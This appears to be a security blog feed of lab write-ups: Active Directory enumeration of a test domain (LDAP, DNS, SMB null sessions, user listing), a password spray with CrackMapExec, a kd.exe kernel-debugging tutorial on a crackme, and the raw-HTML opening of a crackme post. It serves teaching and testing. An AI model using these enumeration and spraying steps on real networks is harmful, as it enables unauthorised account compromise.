|       supportedControl: 1.2.840.113556.1.4.521
|       supportedControl: 1.2.840.113556.1.4.970
|       supportedControl: 1.2.840.113556.1.4.1338
|       supportedControl: 1.2.840.113556.1.4.474
|       supportedControl: 1.2.840.113556.1.4.1339
|       supportedControl: 1.2.840.113556.1.4.1340
|       supportedControl: 1.2.840.113556.1.4.1413
|       supportedControl: 2.16.840.1.113730.3.4.9
|       supportedControl: 2.16.840.1.113730.3.4.10
|       supportedControl: 1.2.840.113556.1.4.1504
|       supportedControl: 1.2.840.113556.1.4.1852
|       supportedControl: 1.2.840.113556.1.4.802
|       supportedControl: 1.2.840.113556.1.4.1907
|       supportedControl: 1.2.840.113556.1.4.1948
|       supportedControl: 1.2.840.113556.1.4.1974
|       supportedControl: 1.2.840.113556.1.4.1341
|       supportedControl: 1.2.840.113556.1.4.2026
|       supportedControl: 1.2.840.113556.1.4.2064
|       supportedControl: 1.2.840.113556.1.4.2065
|       supportedControl: 1.2.840.113556.1.4.2066
|       supportedControl: 1.2.840.113556.1.4.2090
|       supportedControl: 1.2.840.113556.1.4.2205
|       supportedControl: 1.2.840.113556.1.4.2204
|       supportedControl: 1.2.840.113556.1.4.2206
|       supportedControl: 1.2.840.113556.1.4.2211
|       supportedControl: 1.2.840.113556.1.4.2239
|       supportedControl: 1.2.840.113556.1.4.2255
|       supportedControl: 1.2.840.113556.1.4.2256
|       supportedControl: 1.2.840.113556.1.4.2309
|       supportedLDAPVersion: 3
|       supportedLDAPVersion: 2
|       supportedLDAPPolicies: MaxPoolThreads
|       supportedLDAPPolicies: MaxPercentDirSyncRequests
|       supportedLDAPPolicies: MaxDatagramRecv
|       supportedLDAPPolicies: MaxReceiveBuffer
|       supportedLDAPPolicies: InitRecvTimeout
|       supportedLDAPPolicies: MaxConnections
|       supportedLDAPPolicies: MaxConnIdleTime
|       supportedLDAPPolicies: MaxPageSize
|       supportedLDAPPolicies: MaxBatchReturnMessages
|       supportedLDAPPolicies: MaxQueryDuration
|       supportedLDAPPolicies: MaxDirSyncDuration
|       supportedLDAPPolicies: MaxTempTableSize
|       supportedLDAPPolicies: MaxResultSetSize
|       supportedLDAPPolicies: MinResultSets
|       supportedLDAPPolicies: MaxResultSetsPerConn
|       supportedLDAPPolicies: MaxNotificationPerConn
|       supportedLDAPPolicies: MaxValRange
|       supportedLDAPPolicies: MaxValRangeTransitive
|       supportedLDAPPolicies: ThreadMemoryLimit
|       supportedLDAPPolicies: SystemMemoryLimitPercent
|       highestCommittedUSN: 172440
|       supportedSASLMechanisms: GSSAPI
|       supportedSASLMechanisms: GSS-SPNEGO
|       supportedSASLMechanisms: EXTERNAL
|       supportedSASLMechanisms: DIGEST-MD5
|       dnsHostName: IC1DC1.child1.internal.zeroday.lab
|       ldapServiceName: internal.zeroday.lab:[email protected]
|       serverName: CN=IC1DC1,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=internal,DC=zeroday,DC=lab
|       supportedCapabilities: 1.2.840.113556.1.4.800
|       supportedCapabilities: 1.2.840.113556.1.4.1670
|       supportedCapabilities: 1.2.840.113556.1.4.1791
|       supportedCapabilities: 1.2.840.113556.1.4.1935
|       supportedCapabilities: 1.2.840.113556.1.4.2080
|       supportedCapabilities: 1.2.840.113556.1.4.2237
|       isSynchronized: TRUE
|       isGlobalCatalogReady: TRUE
|       domainFunctionality: 7
|       forestFunctionality: 7
|_      domainControllerFunctionality: 7
Service Info: Host: IC1DC1; OS: Windows

Nmap done: 1 IP address (1 host up) scanned in 0.28 seconds

The ldap-rootdse Nmap script shows us that this domain controller belongs to a child domain (child1.internal.zeroday.lab), shown in the defaultNamingContext attribute, and the root domain is internal.zeroday.lab, shown in the rootDomainNamingContext attribute.

DNS Enumeration

Along with LDAP, the port scan showed that this system was listening on UDP port 53, this is almost certainly Domain Name System (DNS). DNS can be queried to determine the domain controllers for a particular domain:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Lab:~# dig srv _ldap._tcp.dc._msdcs.child1.internal.zeroday.lab @192.168.73.20

; <<>> DiG 9.11.14-3-Debian <<>> srv _ldap._tcp.dc._msdcs.child1.internal.zeroday.lab @192.168.73.20
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 28760
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 2

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;_ldap._tcp.dc._msdcs.child1.internal.zeroday.lab. IN SRV

;; ANSWER SECTION:
_ldap._tcp.dc._msdcs.child1.internal.zeroday.lab. 600 IN SRV 0 100 389 IC1DC1.child1.internal.zeroday.lab.

;; ADDITIONAL SECTION:
IC1DC1.child1.internal.zeroday.lab. 3600 IN A   192.168.73.20

;; Query time: 1 msec
;; SERVER: 192.168.73.20#53(192.168.73.20)
;; WHEN: Thu Feb 13 00:15:34 GMT 2020
;; MSG SIZE  rcvd: 147

It can also be used to query the root domain's domain controllers:

1
2
3
4
Lab:~# dig +short srv _ldap._tcp.dc._msdcs.internal.zeroday.lab @192.168.73.20
0 100 389 IDC1.internal.zeroday.lab.
Lab:~# dig +short a IDC1.internal.zeroday.lab @192.168.73.20
192.168.71.20

SMB Enumeration

Server Message Block (SMB) can be really useful for attackers, there are many possible attacks against the service. Here I'll only perform some very basic enumeration.

First it's useful to know whether NULL authentication is permitted. A Metasploit module can be used to test for this:

1
2
3
4
msf5 auxiliary(scanner/smb/pipe_auditor) > run

[+] 192.168.73.20:445     - Pipes: \netlogon, \lsarpc, \samr, \atsvc, \epmapper, \eventlog, \InitShutdown, \lsass, \LSM_API_service, \ntsvcs, \protected_storage, \router, \scerpc, \srvsvc, \W32TIME_ALT, \wkssvc
[*] 192.168.73.20:        - Scanned 1 of 1 hosts (100% complete)

So we can access SMB pipes without requiring a username and password. While this isn't that common these days on domain controllers, I have seen this on some corporate networks.

We should also try enumerating users. Another Metasploit module can be used for this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
msf5 auxiliary(scanner/smb/smb_lookupsid) > run

[*] 192.168.73.20:445     - PIPE(LSARPC) LOCAL(ICHILD1 - 5-21-3578234567-448745970-1525302398) DOMAIN(ICHILD1 - 5-21-3578234567-448745970-1525302398)
[*] 192.168.73.20:445     - USER=Administrator RID=500
[*] 192.168.73.20:445     - USER=Guest RID=501
[*] 192.168.73.20:445     - USER=krbtgt RID=502
[*] 192.168.73.20:445     - USER=DefaultAccount RID=503
[*] 192.168.73.20:445     - GROUP=Domain Admins RID=512
[*] 192.168.73.20:445     - GROUP=Domain Users RID=513
[*] 192.168.73.20:445     - GROUP=Domain Guests RID=514
[*] 192.168.73.20:445     - GROUP=Domain Computers RID=515
[*] 192.168.73.20:445     - GROUP=Domain Controllers RID=516
[*] 192.168.73.20:445     - TYPE=4 NAME=Cert Publishers rid=517
[*] 192.168.73.20:445     - GROUP=Group Policy Creator Owners RID=520
[*] 192.168.73.20:445     - GROUP=Read-only Domain Controllers RID=521
[*] 192.168.73.20:445     - GROUP=Cloneable Domain Controllers RID=522
[*] 192.168.73.20:445     - GROUP=Protected Users RID=525
[*] 192.168.73.20:445     - GROUP=Key Admins RID=526
[*] 192.168.73.20:445     - TYPE=4 NAME=RAS and IAS Servers rid=553
[*] 192.168.73.20:445     - TYPE=4 NAME=Allowed RODC Password Replication Group rid=571
[*] 192.168.73.20:445     - TYPE=4 NAME=Denied RODC Password Replication Group rid=572
[*] 192.168.73.20:445     - USER=IC1DC1$ RID=1000
[*] 192.168.73.20:445     - TYPE=4 NAME=DnsAdmins rid=1101
[*] 192.168.73.20:445     - GROUP=DnsUpdateProxy RID=1102
[*] 192.168.73.20:445     - USER=INTERNAL$ RID=1103
[*] 192.168.73.20:445     - USER=child.user RID=1104
[*] 192.168.73.20:445     - USER=child.admin RID=1105
[*] 192.168.73.20:445     - USER=client1testspn$ RID=1106
[*] 192.168.73.20:445     - USER=child.local RID=1107
[*] 192.168.73.20:445     - USER=ChildTestSPN$ RID=1109
[*] 192.168.73.20:445     - USER=WIN10TEST$ RID=1110
[*] 192.168.73.20:445     - ICHILD1 [Administrator, Guest, krbtgt, DefaultAccount, IC1DC1$, INTERNAL$, child.user, child.admin, client1testspn$, child.local, ChildTestSPN$, WIN10TEST$ ]
[*] 192.168.73.20:        - Scanned 1 of 1 hosts (100% complete)

Password Spraying

Now that we have a list of valid usernames, it's worth trying to guess a valid password. Password spraying is a method of attack where you take a list of valid, or potentially valid, usernames and attempt to try different commonly used passwords across all usernames.

The lab environment is small but in a real world AD infrastructure it's very likely to be able to guess passwords for some accounts. Of course on a real infrastrcture extreme care has to be taken before attempting to perform password spraying attacks as there is a real possibilty of locking user accounts.

To perform a password spray CrackMapExec can be used:

1
2
3
4
5
6
Lab:~# cme smb 192.168.73.20 -d child1.internal.zeroday.lab -u users.txt -p Password4
SMB         192.168.73.20   445    IC1DC1           [*] Windows Server 2016 Datacenter Evaluation 14393 x64 (name:IC1DC1) (domain:child1.internal.zeroday.lab) (signing:True) (SMBv1:True)
SMB         192.168.73.20   445    IC1DC1           [-] child1.internal.zeroday.lab\Administrator:Password4 STATUS_LOGON_FAILURE
SMB         192.168.73.20   445    IC1DC1           [-] child1.internal.zeroday.lab\IC1DC1$:Password4 STATUS_LOGON_FAILURE
SMB         192.168.73.20   445    IC1DC1           [-] child1.internal.zeroday.lab\INTERNAL$:Password4 STATUS_LOGON_FAILURE
SMB         192.168.73.20   445    IC1DC1           [+] child1.internal.zeroday.lab\child.user:Password4

The password for the child.user account was discovered in this password spray attempt. Now recon from an authenticated point of view is possible on this domain.

Conclusion

AD security is a huge topic and I've only began the scrath the surface in this post, even from an unauthenticated point of view. Hopefully this was a half decent way to introduce the topic though.

It's worth noting that there are many toold that perform the same tests carried out in this post, but some of them did not work. I might make a post demonstrating that because it's important to understand that different tools will work in different situations, so it's very useful to have knowledge of many and try others when your first choice fails.

Further Reading

If you are serious about AD security, the best resource out there is adscurity.org by Sean Metcalf.

Usermode Application Debugging Using KD

By: 0xe7
24 September 2014 at 19:42

I have started the Windows kernel hacking section with a simple explaination of the setup and a quick analysis of the crackme, that we analysed here, using the kd.exe kernel debugger.

I chose to do this instead of any actual Windows kernel stuff because its a steep learning experience learning how to use KD so its probably best to look at something you have already seen.

Setting Up The Environment

For this post I will be using a total of 4 machines, 3 virtual machines using VMware Player (you probably could use Virtualbox for this also though) hosted on a reasonably powerful machine and a laptop.

You can however do all of this with just 1 physical machine, hosting 1 virtual machine and I will explain the differences in the setup afterwards but I'll first explain the setup I am using.

Here is a visual representation of the network:

So I have 3 virtual machines on my machine running VMware Player:

1 Kali Linux, 1 Windows XP Professional and 1 Windows 7 Home Edition. All 3 of these are 32bit, although it doesn't matter but to follow along you would probably want the debuggee (the Windows 7 machine in my setup) to be 32bit. In my 2 machine setup described below the host (and debugger) is a Windows 7 64bit machine.

The Kali machine has 2 network interfaces, 1 setup in Bridged mode (so that I can SSH directly to it):

And the other setup in Host-only mode (So that it has access to the other 2 machines):

The Windows XP machine has 1 network interface setup in Host-only mode:

And the same for the Windows 7 machine:

The Windows XP and Windows 7 machines are also connected via a virtual serial cable, this is for the debugger connection.

The Windows XP machine will be the client (or the debugger):

And the Windows 7 machine will be the server (or the debuggee):

The Windows 7 machine needs both Visual Studio Express 2013 for Windows Desktop and the Windows Driver Kit (WDK) installed on it. You can get them both here.

The Windows XP machine needs Microsoft Windows SDK for Windows 7 installed, which you can get here. To install this you need to install the full version of Microsoft .NET Framework 4, which you can get here (Bare in mind that you might need an internet connection while you install these so just change the network adaptor configuration to NAT and then once it is installed change it back to Host-only again).

If the debugger is a Windows 7 machine then you will need to install the same software as on the debuggee.

Once these are installed, its best to add the path to the kd.exe application to the PATH variable.

You do this by going in to the properties of My Computer and, on Windows 7 going to Advanced system settings->Environment Variables... or on Windows XP going to Advanced->Environment Variables... and scroll down the Path and click Edit.

The path on Windows 7 should be something like C:\Program Files\Windows Kits\8.1\Debuggers\x86 and on Windows XP C:\Program Files\Debugging Tools for Windows (x86).

For remote administration I've installed TightVNC on both of the Windows machines.

I set it up with access through a Kali machine so that I can setup SSH tunnels and get VNC access to the Windows machines without giving them access to the outside network.

After TightVNC is up and running on your Windows machines, you can setup the SSH tunnels like this (For this explaination we'll imagine that the Windows XP machine is on the VMware virutal network with an IP of 172.16.188.130, the Windows 7 machine is on 172.16.188.131 and that our Kali machine is also on this network):

1
2
user@dev:~# ssh -f root@kali -L 5900:172.16.188.130:5900 -N
user@dev:~# ssh -f root@kali -L 5901:172.16.188.131:5900 -N

Now if you VNC to 127.0.0.1 you will have access to the Windows XP machine and to 127.0.0.1:1 you will have access to the Windows 7 machine.

1 VM Setup

You can also setup this up with 2 machines, the VMware host (running Windows, which will be the debugger) and the VMware guest (also running Windows, which will be the debuggee).

The serial port configuration for the debuggee in VMware in this setup should look like this:

Notice the different file path and name for Windows, the other end should be set to The other end is an application and Yeild CPU on poll should be checked.

The only other thing that is different is the command you will use to launch KD on the debugger (we haven't got to that but it is shown below for my 4 machine setup), you should instead use kd -k com:port=\\.\pipe\com_1,pipe.

Using KD

On Windows 7 (the debuggee) you will need to tell it to lanuch the debugger on boot, for this you need to run an Administrator command prompt and:

1
2
3
4
5
C:\Windows\system32>bcdedit /dbgsettings SERIAL DEBUGPORT:2 BAUDRATE:115200
The operation completed successfully.

C:\Windows\system32>bcdedit /debug on
The operation completed successfully.

The DEBUGPORT:2 option here is the port number of the COM port that you are going to use, for me it was COM2 hence the number 2.

Now we launch the kernel debugger on the Windows XP machine (this is the command that is different on the 2 machine setup):

1
2
3
4
5
6
7
C:\Documents and Settings\User>kd -k com:port=1,baud=115200

Microsoft (R) Windows Debugger Version 6.12.0002.633 X86
Copyright (c) Microsoft Corporation. All rights reserved.

Opened \\.\com1
Waiting to reconnect...

Again the port=1 option here is the COM port that you are going to be using, I will be using COM1 on this machine hence the 1.

Then reboot the Windows 7 machine and watch the KD terminal on the Windows XP machine:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
Connected to Windows 7 7601 x86 compatible target at (Fri Sep 26 14:43:59.625 20
14 (UTC + 1:00)), ptr64 FALSE
Kernel Debugger connection established.
Symbol search path is: SRV*C:\websymbols*http://msdl.microsoft.com/download/symb
ols
Executable search path is:
Windows 7 Kernel Version 7601 (Service Pack 1) MP (1 procs) Free x86 compatible
Product: WinNt, suite: TerminalServer SingleUserTS Personal
Built by: 7601.18409.x86fre.win7sp1_gdr.140303-2144
Machine Name:
Kernel base = 0x82814000 PsLoadedModuleList = 0x8295d5b0
Debug session time: Sun Dec 29 22:42:59.976 1985 (UTC + 1:00)
System Uptime: 0 days 0:02:14.490

Now run the crackme application on the debuggee (Windows 7):

Go back to the Windows XP machine and in the debugger terminal window press Control + C:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
Break instruction exception - code 80000003 (first chance)
*******************************************************************************
*                                                                             *
*   You are seeing this message because you pressed either                    *
*       CTRL+C (if you run kd.exe) or,                                        *
*       CTRL+BREAK (if you run WinDBG),                                       *
*   on your debugger machine's keyboard.                                      *
*                                                                             *
*                   THIS IS NOT A BUG OR A SYSTEM CRASH                       *
*                                                                             *
* If you did not intend to break into the debugger, press the "g" key, then   *
* press the "Enter" key now.  This message might immediately reappear.  If it *
* does, press "g" and "Enter" again.                                          *
*                                                                             *
*******************************************************************************
nt!RtlpBreakWithStatusInstruction:
8288e7b8 cc              int     3
kd>

Now we have broken into the kernel, this means that anything we do will be in the context of the kernel, we can see this in the debugger:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
kd> .process
Implicit process is now 844bdae8
kd> !process 0 0
**** NT ACTIVE PROCESS DUMP ****
PROCESS 844bdae8  SessionId: none  Cid: 0004    Peb: 00000000  ParentCid: 0000
    DirBase: 00185000  ObjectTable: 88401c78  HandleCount: 463.
    Image: System

PROCESS 85027020  SessionId: none  Cid: 00ec    Peb: 7ffd4000  ParentCid: 0004
    DirBase: 5f228020  ObjectTable: 89496538  HandleCount:  29.
    Image: smss.exe

PROCESS 85702030  SessionId: 0  Cid: 0140    Peb: 7ffd6000  ParentCid: 0134
    DirBase: 5f228060  ObjectTable: 91695508  HandleCount: 389.
    Image: csrss.exe

PROCESS 84520378  SessionId: 0  Cid: 0170    Peb: 7ffdf000  ParentCid: 0134
    DirBase: 5f2280a0  ObjectTable: 93023448  HandleCount:  87.
    Image: wininit.exe

PROCESS 850e7030  SessionId: 1  Cid: 0178    Peb: 7ffda000  ParentCid: 0168
    DirBase: 5f228040  ObjectTable: 885f5520  HandleCount: 176.
    Image: csrss.exe

PROCESS 8572f530  SessionId: 1  Cid: 0194    Peb: 7ffdb000  ParentCid: 0168
    DirBase: 5f2280c0  ObjectTable: 93020e70  HandleCount: 117.
    Image: winlogon.exe

PROCESS 857e2c48  SessionId: 0  Cid: 01dc    Peb: 7ffd6000  ParentCid: 0170
    DirBase: 5f228080  ObjectTable: 98040678  HandleCount: 245.
    Image: services.exe

PROCESS 857fb980  SessionId: 0  Cid: 01e4    Peb: 7ffdf000  ParentCid: 0170
    DirBase: 5f2280e0  ObjectTable: 9805ba38  HandleCount: 504.
    Image: lsass.exe

PROCESS 857fc678  SessionId: 0  Cid: 01ec    Peb: 7ffdf000  ParentCid: 0170
    DirBase: 5f228100  ObjectTable: 9805dcf0  HandleCount: 144.
    Image: lsm.exe

PROCESS 8582c858  SessionId: 0  Cid: 0258    Peb: 7ffd6000  ParentCid: 01dc
    DirBase: 5f228120  ObjectTable: 98168ef8  HandleCount: 352.
    Image: svchost.exe

PROCESS 85845848  SessionId: 0  Cid: 02a4    Peb: 7ffd3000  ParentCid: 01dc
    DirBase: 5f228140  ObjectTable: 93182530  HandleCount: 241.
    Image: svchost.exe

PROCESS 8585b568  SessionId: 0  Cid: 02e0    Peb: 7ffd7000  ParentCid: 01dc
    DirBase: 5f228160  ObjectTable: 980d5468  HandleCount: 383.
    Image: svchost.exe

PROCESS 85897628  SessionId: 0  Cid: 0350    Peb: 7ffdf000  ParentCid: 01dc
    DirBase: 5f2281a0  ObjectTable: 8ca18bc0  HandleCount: 268.
    Image: svchost.exe

PROCESS 858a7410  SessionId: 0  Cid: 037c    Peb: 7ffda000  ParentCid: 01dc
    DirBase: 5f2281c0  ObjectTable: 8ca8e818  HandleCount: 251.
    Image: svchost.exe

PROCESS 858bf818  SessionId: 0  Cid: 03b4    Peb: 7ffdf000  ParentCid: 01dc
    DirBase: 5f2281e0  ObjectTable: 8ca00b30  HandleCount: 806.
    Image: svchost.exe

PROCESS 858ce658  SessionId: 0  Cid: 03ec    Peb: 7ffd8000  ParentCid: 02e0
    DirBase: 5f228200  ObjectTable: 8cb845d0  HandleCount: 121.
    Image: audiodg.exe

PROCESS 858d37c0  SessionId: 0  Cid: 0400    Peb: 7ffde000  ParentCid: 01dc
    DirBase: 5f228220  ObjectTable: 8cb97f58  HandleCount: 104.
    Image: svchost.exe

PROCESS 858e8238  SessionId: 0  Cid: 0460    Peb: 7ffd6000  ParentCid: 01dc
    DirBase: 5f228240  ObjectTable: 8cbc3380  HandleCount: 351.
    Image: svchost.exe

PROCESS 85707d40  SessionId: 1  Cid: 050c    Peb: 7ffd9000  ParentCid: 0194
    DirBase: 5f228280  ObjectTable: 92cff7b0  HandleCount:  46.
    Image: userinit.exe

PROCESS 8593dd40  SessionId: 1  Cid: 051c    Peb: 7ffda000  ParentCid: 0350
    DirBase: 5f2282a0  ObjectTable: 92d040e0  HandleCount:  71.
    Image: dwm.exe

PROCESS 8594b738  SessionId: 1  Cid: 0538    Peb: 7ffde000  ParentCid: 050c
    DirBase: 5f2282c0  ObjectTable: 92d16c08  HandleCount: 684.
    Image: explorer.exe

PROCESS 8595d990  SessionId: 0  Cid: 055c    Peb: 7ffd8000  ParentCid: 01dc
    DirBase: 5f2282e0  ObjectTable: 980413e8  HandleCount:  75.
    Image: spoolsv.exe

PROCESS 85975d40  SessionId: 1  Cid: 0574    Peb: 7ffdb000  ParentCid: 01dc
    DirBase: 5f228300  ObjectTable: 98087388  HandleCount: 180.
    Image: taskhost.exe

PROCESS 8597c480  SessionId: 0  Cid: 059c    Peb: 7ffd8000  ParentCid: 01dc
    DirBase: 5f228320  ObjectTable: 981644c0  HandleCount: 321.
    Image: svchost.exe

PROCESS 857b1030  SessionId: 0  Cid: 061c    Peb: 7ffdf000  ParentCid: 01dc
    DirBase: 5f228340  ObjectTable: 9361d7c0  HandleCount:  62.
    Image: armsvc.exe

PROCESS 8576a030  SessionId: 0  Cid: 066c    Peb: 7ffd8000  ParentCid: 01dc
    DirBase: 5f228360  ObjectTable: 98192530  HandleCount:  84.
    Image: sqlwriter.exe

PROCESS 857b99c0  SessionId: 0  Cid: 0694    Peb: 7ffd8000  ParentCid: 01dc
    DirBase: 5f228380  ObjectTable: 9765fa30  HandleCount:  92.
    Image: tlntsvr.exe

PROCESS 85996d40  SessionId: 1  Cid: 06bc    Peb: 7ffdf000  ParentCid: 0538
    DirBase: 5f2283a0  ObjectTable: 976b6a40  HandleCount:  64.
    Image: tvnserver.exe

PROCESS 859d92f0  SessionId: 0  Cid: 0708    Peb: 7ffdc000  ParentCid: 01dc
    DirBase: 5f2283e0  ObjectTable: 8d600730  HandleCount: 184.
    Image: tvnserver.exe

PROCESS 859ec4f0  SessionId: 1  Cid: 075c    Peb: 7ffd3000  ParentCid: 06cc
    DirBase: 5f228400  ObjectTable: 9812e900  HandleCount:  48.
    Image: reader_sl.exe

PROCESS 859f7d40  SessionId: 0  Cid: 0220    Peb: 7ffdd000  ParentCid: 01dc
    DirBase: 5f2283c0  ObjectTable: 977880a0  HandleCount: 102.
    Image: svchost.exe

PROCESS 85a68d40  SessionId: 0  Cid: 03c4    Peb: 7ffd9000  ParentCid: 01dc
    DirBase: 5f228260  ObjectTable: 980eb688  HandleCount: 590.
    Image: SearchIndexer.exe

PROCESS 85a4cd40  SessionId: 0  Cid: 04dc    Peb: 7ffd5000  ParentCid: 03c4
    DirBase: 5f228420  ObjectTable: 94285460  HandleCount: 233.
    Image: SearchProtocolHost.exe

PROCESS 85a95d40  SessionId: 0  Cid: 0378    Peb: 7ffd5000  ParentCid: 03c4
    DirBase: 5f228440  ObjectTable: 931b48e8  HandleCount:  79.
    Image: SearchFilterHost.exe

PROCESS 85abfd40  SessionId: 1  Cid: 08e4    Peb: 7ffdf000  ParentCid: 0538
    DirBase: 5f228460  ObjectTable: 92c6b320  HandleCount:  35.
    Image: SomeCrypto~01.exe

kd>

On line 1 I run the .process command without any parameters and it tells us the process we are currently in (844bdae8 is the EPROCESS number).

On line 3 I run the !process extension with 0 0 as its arguments, this lists all of the running processes and some details about them, as you can see from lines 5-7, EPROCESS 844bdae8 is the System process, or the kernel.

What we want to do is change the context to our crackme application, which you can see from lines 141-143 has the EPROCESS of 85abfd40:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
kd> .process /i /r /p 85abfd40
You need to continue execution (press 'g' <enter>) for the context
to be switched. When the debugger breaks in again, you will be in
the new process context.
kd> g
Break instruction exception - code 80000003 (first chance)
nt!RtlpBreakWithStatusInstruction:
828c97b8 cc              int     3
kd> .process
Implicit process is now 85abfd40
kd>

On line 1 I use the .process command to change the context to our crackme application but before the context can be changed execution needs to be resumed (which is done on line 5).

Now we can set a breakpoint anywhere in the crackme's virtual memory address space, we want to break with them calls to GetDlgItemTextA that were responsible for getting the text in the textboxes of the application (If you are unsure about what I am talking about, please go back and review the previous post):

1
2
3
4
kd> bp USER32!GetDlgItemTextA
kd> bl
 0 e 76213d14     0001 (0001) user32!GetDlgItemTextA
kd>

Now that the breakpoint is set we can resume execution, wait for it to be hit and inspect the memory.

Remember that the prototype for GetDlgItemText is:

1
2
3
4
5
6
UINT WINAPI GetDlgItemText(
  _In_   HWND hDlg,
  _In_   int nIDDlgItem,
  _Out_  LPTSTR lpString,
  _In_   int nMaxCount
);
1
2
3
4
5
6
7
8
9
kd> g
Breakpoint 0 hit
user32!GetDlgItemTextA:
001b:76213d14 8bff            mov     edi,edi
kd> dd esp L4
0012fb6c  0040127f 0002014e 000003e9 0012fc40
kd> da 12fc40
0012fc40  "Enter your name..."
kd>

On line 5 I use the dd command to display 4 double words on the top of the stack. The first dword will be the return address (as you will see in a minute), then we have the first 3 arguments.

The 3rd argument is the address where the buffer for the string is, on line 7 I use the da command to display the ascii value at that address.

Keep in mind that this is the start of the function so the value hasn't been fetched yet, we can see the returned value by tracing through until we are in the calling function using the ug command and checking again:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
kd> gu
001b:0040127f 6a40            push    40h
kd> u
001b:0040127f 6a40            push    40h
001b:00401281 8d942484000000  lea     edx,[esp+84h]
001b:00401288 52              push    edx
001b:00401289 68ea030000      push    3EAh
001b:0040128e 56              push    esi
001b:0040128f ffd7            call    edi
001b:00401291 8d44240c        lea     eax,[esp+0Ch]
001b:00401295 50              push    eax
kd> da 12fc40
0012fc40  "Enter your name..."
kd>

As you can see the value is the same (because we haven't changed the text in the textbox), you can also see the address which it returned back to after executing GetDlgItemTextA was 0040127f, which was the top value on the stack.

Lastly let's resume and make sure it does the same with the other textbox:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
kd> g
Breakpoint 0 hit
user32!GetDlgItemTextA:
001b:76213d14 8bff            mov     edi,edi
kd> dd esp L4
0012fb6c  00401291 0002014e 000003ea 0012fc00
kd> da 12fc00
0012fc00  "Enter your serial..."
kd> gu
001b:00401291 8d44240c        lea     eax,[esp+0Ch]
kd> da 12fc00
0012fc00  "Enter your serial..."

Conclusion

This was only a simple tutorial to get the environment set up and get a basic grasp of kd.exe and some of its commands.

This was by no means an exhaustive list of commands and extensions, the debugger comes with many and has very good documentation.

Hopefully you now have a better understanding of how to debug using kd.exe and you now have the environment to do it in.

Further Reading

The Debugging and Automation chapter in Practical Reverse Engineering by Bruce Dang, Alexandre Gazet and Elias Bachaalany.

Also the kd.exe documentation that ships with the WDK or SDK.

An Easy Windows Crackme

By: 0xe7
2 August 2014 at 12:44
pHere I'm going to show you how to crack a href="http://crackmes.de/users/san01suke/somecrypto01/" target="_blank"this/a crackme. We'll use some basic reversing techniques to figure out how it works and how to break or bypass its copy protection./p pSome knowledge of IA-32 assembly would be beneficial to understand what is going on but I'll try to explain it in enough detail that you should be able to follow anyway./p !-- more -- h2Prerequisites/h2 pIf you want to follow along the setup is:/p ul li32bit Windows 7 Home Edition installed inside a VMware virtual machine/li lia href="http://www.ollydbg.de/" target="_blank"OllyDBG/a installed/li lia href="https://www.microsoft.com/en-gb/download/details.aspx?id=40787" target="_blank"Microsoft Visual Studio Express 2013 for Windows Desktop/a installed and 'VC/bin/' in the PATH variable/li /ul h2Initial Look/h2 pAfter you download the zip file and look inside it you should seee this:/p pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/zip-file.png"/p pDrag the folder they are sitting in to the desktop and run codeSomeCrypto~01.exe/code by double clicking on it./p pYou should see a rather intimidating window with no explaination like this:/p pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/somecrypto1-run.png"/p pTry to put some junk input in the 2 fields but nothing happens:/p pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/somecrypto1-input.png"/p pLet's close this, it tells us nothing, and have a closer look at the binary itself./p pOne of the first things you should always look at is the strongimports/strong section of the binary, it tells you what functions are being imported by the application from other libraries (a href="http://support.microsoft.com/kb/815065" target="_blank".dll files/a)./p pThis tells you a lot about the application and there are nearly always imports because the application has to communicate with the OS./p pcodedumpbin/code is an application that comes with codeMicrosoft Visual Studio Express 2013 for Windows Desktop/code and on my test machine resides in codeC:\Program Files\Microsoft Visual Studio 12\VC\bin\/code./p pIt can be used to look at some of the sections in a href="https://en.wikipedia.org/wiki/Portable_Executable" target="_blank"PE executables/a./p pOpen up a command prompt with admin privileges:/p pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/admin-cmd.png" width="800"/p pAnd run the command codedumpbin /imports "C:\Users\user\Desktop\SomeCrypto~01\SomeCrypto~01.exe"/code./p pThe location of the crackme file might be different depending on what your local username is for Windows (mine is codeuser/code) and if you extracted it to somewhere other than the desktop./p pYou should see an output like this:/p table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal" 1/span/span span class="code-line"span class="normal" 2/span/span span class="code-line"span class="normal" 3/span/span span class="code-line"span class="normal" 4/span/span span class="code-line"span class="normal" 5/span/span span class="code-line"span class="normal" 6/span/span span class="code-line"span class="normal" 7/span/span span class="code-line"span class="normal" 8/span/span span class="code-line"span class="normal" 9/span/span span class="code-line"span class="normal"10/span/span span class="code-line"span class="normal"11/span/span span class="code-line"span class="normal"12/span/span span class="code-line"span class="normal"13/span/span span class="code-line"span class="normal"14/span/span span class="code-line"span class="normal"15/span/span span 